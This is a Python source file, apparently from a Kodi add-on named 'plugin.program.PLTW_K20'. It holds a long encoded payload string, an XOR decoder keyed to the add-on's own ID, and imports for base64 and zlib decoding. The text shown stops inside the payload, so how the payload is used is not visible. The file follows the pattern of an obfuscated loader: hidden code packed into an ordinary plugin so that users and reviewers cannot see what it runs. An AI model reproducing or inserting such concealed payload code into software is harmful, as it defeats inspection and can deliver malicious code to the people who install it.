# -*- coding: utf-8 -*-
import base64, zlib, itertools

def _ptw_key():
    try:
        import xbmcaddon
        a = xbmcaddon.Addon()
        return (a.getAddonInfo('id') or 'plugin.program.PLTW_K20').encode('utf-8')
    except Exception:
        return b'plugin.program.PLTW_K20'

def _ptw_xor(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ k for b, k in zip(data, itertools.cycle(key)))

_PAYLOAD = '2)5ucv>ePvX3>x#$$_i1;y>laqCaD*O?V3cUA{RIRJ29}d3DgvdG5_ed+4kP(@4C9$jt~#d_v{@b2lzEzN0tQZ*C(-&Sm@*FvT_Pa(MHcP-U{hcsvDJWYmH~j;o=GDij1)GR^#A8%2aZiCsi!r9tv*cpsKwJC%*Sf?MiSTZiyNAqnXmL_UB!!k_L2#81u`@J-R7Xels}(Y19S#k0D$JVk{P=#X8#S(^uxH&J-;noRNRS@lRoy>yce3Yuumq76*P0q&6@IGy8j7+}5TCwdgo>zTqw26s|~{kA5%91OW+K1KkkBN{yJQ;)wkVHxPY8oer;0}X>T@h|ps=x~<pKQvs)C?k^Ip~K>ucXVCV|Flz>-&LC*09jHy-Srtzl8+BXd$hp`t71@OX)>^v(bj0j@=prbufx#y?4s~0O^hL6xhD5vOQXrpy<V4vR*Uo{9opxA!@F)eqlB#A)svGsSD<CL(yc~sw<F1Rvnv;#XY}oXt53IdsQ;q3^_0d}G+dRpCy6ZrM_*==kxeVG3CP94+pSrH!pN9xaqO<cE}CNA9uoC53f?YeMlfB?$C@Q`ybqcG)$MlCYL(oE`4cF>?Zh{ayYkeFN~nOBo^6Gjn+s}gX3imTH42DjwVrDybfHcYy@6ef#XKo*O``vmbsc*nx}1Ne_WycCHlY0WRg`|BlxsFD$1Pi3LTX&AshYjmh@_YYk$wEAV#Du(lZg0VnfX9ZD*c-bn$_Fll(j&!dou!naqQL2o1d?8Sw19!?{MrKM3Uy^`&7y;m4-|L!8(-)4V{}A_eS?0pao|UcK9^Tk`7P*+8@Ia=6N`#+#I4s*uP=?(sBjjiUKM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